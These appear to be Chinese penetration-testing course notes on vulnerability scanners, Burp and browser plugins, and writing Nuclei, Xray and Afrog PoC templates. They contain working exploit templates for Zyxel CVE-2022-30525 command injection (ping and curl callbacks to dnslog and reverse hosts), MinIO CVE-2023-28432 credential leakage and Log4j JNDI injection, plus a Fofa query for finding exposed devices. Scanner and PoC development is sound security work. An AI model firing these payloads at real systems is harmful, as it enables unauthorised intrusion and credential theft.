第101天:漏洞发现-漏扫项目篇&Nuclei&Yakit&Goby&Afrog&Xray&Awvs&联动中转被动
扫描插件 - BurpSuite插件 & 浏览器插件 & 自动模版
知识点:
1、综合类-Burp&Xray&Awvs&Goby
2、特征类-Afrog&Yakit&Nuclei
3、联动类-主动扫描&被动扫描&中转扫描
章节点:
-漏洞发现-Web&框架组件&中间件&APP&小程序&系统
-扫描项目-综合漏扫&特征漏扫&被动漏扫&联动漏扫
-Poc开发-Ymal语法&联动导入&项目拓展&Ai结合
-扫描插件-Burpsuite插件&浏览器插件&自动模版
市面上有很多漏扫系统工具脚本,课程讲到的基本都是目前主流推荐的优秀项目!
Burpsuite,Awvs,Xray,Goby,Afrog,Yakit,Nuclei,Vulmap,Pocassist,Nessus,Pentestkit,Kunyu,Pocsuite3,浏览器各类插件,Burpsuite插件(HaE,ShiroScan,FastJsonScan,Log4j2Scan,Springscan,JScan等)。
BurpSuite是用于攻击web 应用程序的集成平台,包含了许多工具。BurpSuite为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。
Acunetix一款商业的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面,并且能够创建专业级的Web站点安全审核报告。新版本集成了漏洞管理功能来扩展企业全面管理、优先级和控制漏洞威胁的能力。
Xray是从长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器,支持主动、被动多种扫描方式,自备盲打平台、可以灵活定义 POC,功能丰富,调用简单,支持Windows /macOS /Linux 多种操作系统,可以满足广大安全从业者的自动化 Web 漏洞探测需求。
Goby是一款新的网络安全测试工具,由赵武Zwell(Pangolin、JSky、FOFA作者)打造,它能够针对一个目标企业梳理最全的攻击面信息,同时能进行高效、实战化漏洞扫描,并快速的从一个验证入口点,切换到横向。能通过智能自动化方式,帮助安全入门者熟悉靶场攻防,帮助攻防服务者、渗透人员更快的拿下目标。
Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。 提供TCP、DNS、HTTP、FILE 等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。
Afrog 是一款性能卓越、快速稳定、PoC 可定制的漏洞扫描(挖洞)工具,PoC 涉及 CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型,帮助网络安全从业者快速验证并及时修复漏洞。
Yakit是一款集成化单兵安全能力平台,通过函数提供各类底层安全能力,包括端口扫描、指纹识别、poc框架、shell管理、MITM劫持、强大的插件系统等。旨在打造一个覆盖渗透测试全流程的网络安全工具库。
特征类-三方Poc调用&模版Poc调用
案例1:单点对某特征点进行安全评估
docker run -it -p 8888:8080 vulhub/struts2:s2-053
docker run -it -p 8090:8090 vulhub/fastjson:1.2.45
docker run -it -p 8888:8080 vulhub/shiro:1.2.4
案例2:新型对某特征点进行安全评估
例子:CVE-2022-30525: Zyxel 防火墙远程命令注入漏洞
https://blog.csdn.net/weixin_43080961/article/details/124776553
复现:
Fofa:title=="USG FLEX 50 (USG20-VPN)"
nuclei.exe -t Zyxel.yaml -l z.txt
Zyxel.yaml:
id: CVE-2022-30525
info:
name: cx
author: remote
severity: high
tags: CVE-2022-30525
reference: CVE-2022-30525
requests:
raw:
|
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8{"command": "setWanPortSt","proto": "dhcp","port": "1270","vlan_tagged": "1270","vlanid": "1270","mtu": "{{exploit}}","data":""}
payloads:
exploit:- ";ping -c 3 {{interactsh-url}};"attack: pitchfork
matchers:type: word
part: interactsh_protocol
name: dns
words:- "dns"
1、Goby-综合类
https://gobysec.net/
GUI界面,使用简单,直接有手就行
2、Nuclei-较综合类
官网地址:https://nuclei.projectdiscovery.io/
项目下载:https://github.com/projectdiscovery/nuclei
Nuclei-Templates&三方Nuclei-Templates:
https://github.com/projectdiscovery/nuclei-templates
https://github.com/ExpLangcn/NucleiTP
扫描批量url
nucle -l urls.txt
扫描单个目标
nuclei -target xxx.com
加载对应的poc脚本,可以是当前路径下
nuclei -t ./test/
nuclei -t ./test/test.yaml
推荐使用,批量检测urls.txt,poc为test.yaml,输出结果result.txt
nuclei -l urls.txt -t test.yaml -o result.txt
3、Afrog-特征类
https://github.com/zan8in/afrog
Afrog是一款性能卓越、快速稳定、PoC可定制的漏洞扫描(挖洞)工具,PoC涉及CVE、CNVD、默认口令、信息泄露、指纹识别、未授权访问、任意文件读取、命令执行等多种漏洞类型,帮助网络安全从业者快速验证并及时修复漏洞。
扫描单个目标
afrog -t http://example.com -o result.html
扫描多个目标
afrog -T urls.txt -o result.html
测试单个PoC
afrog -t http://example.com -P ./testing/poc-test.yaml -o result.html
测试多个PoC
afrog -t http://example.com -P ./testing/ -o result.html
4、Yakit-可特征可综合
https://www.yaklang.com/
GUI界面,使用简单,直接有手就行
综合类-主动漏扫&中转联动&被动联动
案例1:单点对某站点进行安全评估
eg:http://testphp.vulnweb.com/
案例2:联动对APP抓包进行安全评估
eg:安卓模拟器某APP应用
-对比工具优缺点
-对比工具使用方法
爬虫:常规漏洞测试
Poc:用网上各种组件框架的漏洞去测试
Awvs:爬虫强,Poc国内差点
任务添加&数据头部&代理模式&扫描模式等
Xray:爬虫弱,Poc国内友好
主动扫描&被动扫描&POC资源等
.\xray_windows_amd64.exe webscan --basic-crawler http://xx/ --html-output xx.html
.\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xx.html
URL单点扫描&数据包扫描
1、相互联动性解决漏扫
2、相互联动性解决URL未探针
Burp&Xray联动-抓包给xray扫
1、主-Burp设置转发代理-访问 (设置转发)
2、副-Xray设置被动扫描-扫描 (开启监听)
Awvs&Xray联动-爬虫给xray扫
1、主-Awvs设置代理扫描
2、副-Xray设置被动扫描
Awvs&Burp&Xray中转联动-都扫看流量
1、主-Awvs设置代理扫描-awvs共享资源扫一次
2、中-Burp设置转发代理-burp共享资源扫一次
3、副-Xray设置被动扫描-Xray最后的一次扫描
第104天:漏洞发现-漏扫项目篇&武装BURP&浏览器插件&信息收集&分析辅助&遥遥领先
插件类-武装BurpSuite-漏洞检测&分析辅助
漏洞检测类:
1、Fiora
Nuclei提供Poc图形界面,实现快速搜索、一键运行等功能,提升体验。
https://github.com/bit4woo/Fiora
2、TsojanScan 需要配置
集成的BurpSuite常见漏洞探测插件
https://github.com/Tsojan/TsojanScan
3、RouteVulScan
递归式被动检测脆弱路径的burp插件
https://github.com/F6JO/RouteVulScan
分析辅助类:
1、HaE
高亮标记和信息提取利器
https://github.com/gh0stkey/HaE
2、knife
数据包定位,工具调用
https://github.com/bit4woo/knife
3、domain_hunter_pro
域名提取,数据包分析,数据筛选,接口调用
https://github.com/bit4woo/domain_hunter_pro
4、burp_nu_te_gen
Nuclei模版辅助生成
https://github.com/ffffffff0x/burp_nu_te_gen
插件类-武装谷歌浏览器-信息收集&情报辅助
参考:
https://mp.weixin.qq.com/s/5RcG2O5_WGDD7b0b1sGKJA
https://mp.weixin.qq.com/s/KtmgH9djcHZs-kdEZK9fvQ
https://mp.weixin.qq.com/s/neOK5kHJyoJR6LS5yx2QGQ
部分演示:
-情报社区
-HackBar
-Heimdallr
-Wappalyzer
-Hack-Tools
-FindSomething
-SuperSearchPlus
-Penetration Testing Kit
第102天:漏洞发现-漏扫项目篇&Poc开发&Yaml语法&插件一键生成&匹配结果&交互提取
Nuclei-Poc开发-环境配置&编写流程
1、开发环境:Vscode+Yaml插件
https://code.visualstudio.com/
2、开发文档参考资料:
https://docs.nuclei.sh/template-guide/introduction
https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
Nuclei-Poc开发-Yaml语法&匹配提取
YAML是一种数据序列化语言,它的基本语法规则注意如下:
-大小写敏感
-使用缩进表示层级关系
-缩进时不允许使用Tab键,只允许使用空格。
-缩进的空格数目不重要,只要相同层级的元素左侧对齐即可
Yaml Poc模版:
1、编号 id
2、信息 info
3、请求 http file tcp等
4、匹配 matchers Interactsh
5、提取 extractors
开发流程:
0、poc模版套用修改
1、poc创建独立编号
2、poc填入详细信息
3、poc提交协议流程编写
4、poc结果匹配模式判断
5、poc结果提取模式判断
案例1:CVE-2023-28432 (匹配结果)
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
id: CVE-2023-28432
info:
name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)
author: xiaodisec
severity: low
description: 在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
reference:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.mdtags: MinIO,CVE
http:
raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
type: word
part: body
words:- '"MINIO_ROOT_PASSWORD":'
- '"MINIO_ROOT_USER":'
- '"MinioEnv":'
condition: and
- |
案例2:CVE-2022-30525(匹配交互)
https://blog.csdn.net/weixin_43080961/article/details/124776553
id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: high
description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553tags: zyxel,cve,rce
http:
raw:
|
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
payloads:
exploit:- ";ping -c 3 {{interactsh-url}};"matchers:
type: word
part: interactsh_protocol
name: dns
words:- "dns"
Nuclei-Poc开发-BurpSuite模版生成插件
https://github.com/projectdiscovery/nuclei-burp-plugin
1、导入或商店安装
2、配置插件路径信息
3、数据包选择生成模版
4、修改模版信息测试提交
第103天:漏洞发现-漏扫项目篇&Poc开发&Rule语法&反链判断&不回显检测&Yaml生成
Xray-Poc开发-数据回显&RCE不回显&实验室
1、开发参考:
https://poc.xray.cool/
https://docs.xray.cool/#/guide/README
https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw
https://cloud.tencent.com/developer/article/1949351
2、分析技巧:
配置config.yaml,使用代理看数据包分析(记得生成证书及安装)
3、调试Poc:
.\xray --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx
第一部分:# 名称部分
name: string
poc名称如:poc-yaml-tongda-oa-rce
第二部分:rules: []Rule # 脚本部分
poc规则:poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string
search: string
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包
expression的作用是判断该条Rule的结果
search的作用是从返回包中提取信息
第三部分:# 信息部分
detail: map[string]string
就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
1、有回显匹配结果自动判断
名称部分
name: poc-yaml-CVE-2023-28432
脚本部分
transport: http
rules:
r1:
request:
method: POST
path: "/minio/bootstrap/v1/verify"
headers:
Content-Type: application/x-www-form-urlencoded
expression: |
response.status==200 && response.body_string.contains("MINIO_ROOT_PASSWORD")expression:
r1()信息部分
detail:
author: xiaodisec
links:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
2、无回显直接写死,观察平台回显判断
name: poc-yaml-CVE-2022-30525
manual: true
transport: http
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 nml0kn.dnslog.cn;","data":"hi"}'
headers:
Content-Type: application/json
expression: response.status==200expression: r0()
detail:
author: xiaodisec
links:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
3、反连写法及启动配置(解决无回显RCE及其他)
服务端:见服务端config.yaml
客户端:
有域名配置:见本地config.yaml
没域名配置:修改hosts指向,见config.yaml
name: poc-yaml-CVE-2022-30525
manual: true
set:
reverse: newReverse()
reverseURL: reverse.url
reverseDomain: reverse.domain
transport: http
rules:
r0:
request:
cache: true
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";curl {{reverseURL}};","data":"hi"}'
headers:
Content-Type: application/json
expression: reverse.wait(5)expression: r0()
detail:
author: xiaodisec
links:
- http://www.xiaodi8.com
Afrog-Poc开发-数据回显&RCE不回显&JDNI注入
1、开发参考:https://github.com/zan8in/afrog/wiki
2、分析技巧:
执行加入参数proxy,使用代理看数据包分析
3、指定Poc:
afrog.exe -t https://xx.xx.xx.xx -P xxxx.yaml
第一部分:id info 编号 信息(类似nuclei)
第二部分:set rules 变量 脚本(类似xray)
第三部分:expression 判断 执行(类似xray)
1、HTTP/S数据回显Poc开发
环境:MinIO集群模式信息泄露漏洞(CVE-2023-28432)
https://vulhub.org/#/environments/minio/CVE-2023-28432/
测试:afrog.exe -t https://xx.xx.xx.xx:xxxx -P minio.yaml
id: CVE-2023-28432
info:
name: My PoC demo1
author: xiaodisec
severity: critical
rules:
r0:
request:
method: POST
path: /minio/bootstrap/v1/verify
headers:
Content-Type: application/x-www-form-urlencoded
expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')expression: r0()
2、HTTP/S不回显RCE-Poc开发
环境:某案例 Zyxel 防火墙远程命令注入漏洞
配置:-配置afrog-config.yaml ceye对应信息
测试:afrog.exe -t https://xx.xx.xx.xx:xxxx -P zyxel.yaml
id: CVE-2022-30525
info:
name: My PoC demo2
author: xiaodisec
severity: critical
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 cbvq0q.dnslog.cn;","data":"hi"}'
headers:
Content-Type: application/json
expression: response.status == 200 && response.body.bcontains(b'MINIO_ROOT_PASSWORD')expression: r0()
id: CVE-2022-30525
info:
name: My PoC demo3
author: xiaodisec
severity: critical
set:
reverse: newReverse()
reverseURL: reverse.url
reverseDomain: reverse.domain
rules:
r0:
request:
method: POST
path: /ztp/cgi-bin/handler
body: '{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping -c 3 {{reverseURL}};","data":"hi"}'
headers:
Content-Type: application/json
expression: reverse.wait(100)expression: r0()
3、HTTP/S不回显JNDI-Poc开发
环境:Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
https://vulhub.org/#/environments/log4j/CVE-2021-44228/
配置:
-启动jndi-payload利用:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
-afrog-config.yaml JNDI对应信息
测试:afrog -t http://192.168.139.128:8983 -P log4j.yaml
id: solr-log4j-rce
info:
name: Apache Solr Log4j Remote Code Execution
author: xiaodisec
severity: critical
verified: true
created: 2023/10/16
set:
reverse: newJNDI()
jndiURL: reverse.url.host + reverse.url.path
rules:
r0:
request:
method: GET
path: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=json
expression: reverse.jndi(5)expression: r0()
没有评论